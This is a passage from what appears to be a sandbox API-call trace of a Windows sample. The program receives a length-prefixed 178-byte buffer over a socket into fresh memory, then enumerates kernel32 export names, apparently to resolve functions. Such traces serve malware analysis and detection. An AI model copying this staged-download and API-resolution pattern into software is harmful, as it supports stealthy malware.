len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0117.857] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0117.858] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0117.859] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0117.860] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0117.861] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0117.862] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0117.863] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0117.864] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0117.865] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0117.866] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0117.867] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0117.868] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8db, len=1, flags=0 | out: buf=0x2e7f8db*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8dc, len=1, flags=0 | out: buf=0x2e7f8dc*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8dd, len=1, flags=0 | out: buf=0x2e7f8dd*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8de, len=1, flags=0 | out: buf=0x2e7f8de*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8df, len=1, flags=0 | out: buf=0x2e7f8df*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8e0, len=1, flags=0 | out: buf=0x2e7f8e0*) returned 1 [0117.869] recv (in: s=0x544, buf=0x2e7f8e1, len=1, flags=0 | out: buf=0x2e7f8e1*) returned 1 [0117.870] recv (in: s=0x544, buf=0x2e7f8e2, len=1, flags=0 | out: buf=0x2e7f8e2*) returned 1 [0117.870] StrToIntA (lpSrc="178") returned 178 [0117.870] VirtualAlloc (lpAddress=0x0, dwSize=0xb2, flAllocationType=0x3000, flProtect=0x4) returned 0x3c80000 [0117.870] recv (in: s=0x544, buf=0x3c80000, len=178, flags=0 | out: buf=0x3c80000*) returned 178 [0117.870] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.871] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.871] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.871] closesocket (s=0x544) returned 0 [0117.872] WSACleanup () returned 0 [0117.872] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.872] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.872] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.873] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.873] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.873] lstrlenA (lpString="kernel32.dll") returned 12 [0117.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.874] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.874] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.874] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.874] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.874] lstrlenA (lpString="ADDATOMA") returned 8 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.874] lstrlenA (lpString="ADDATOMW") returned 8 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.874] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.874] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.874] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.874] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.874] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.874] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.874] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.874] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.874] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.874] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.874] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.875] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.875] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.875] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.875] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.875] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.875] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.875] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.875] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.875] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.875] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.875] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.875] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.875] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.875] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.875] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.875] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.875] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.875] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.876] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.876] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.876] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.876] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | 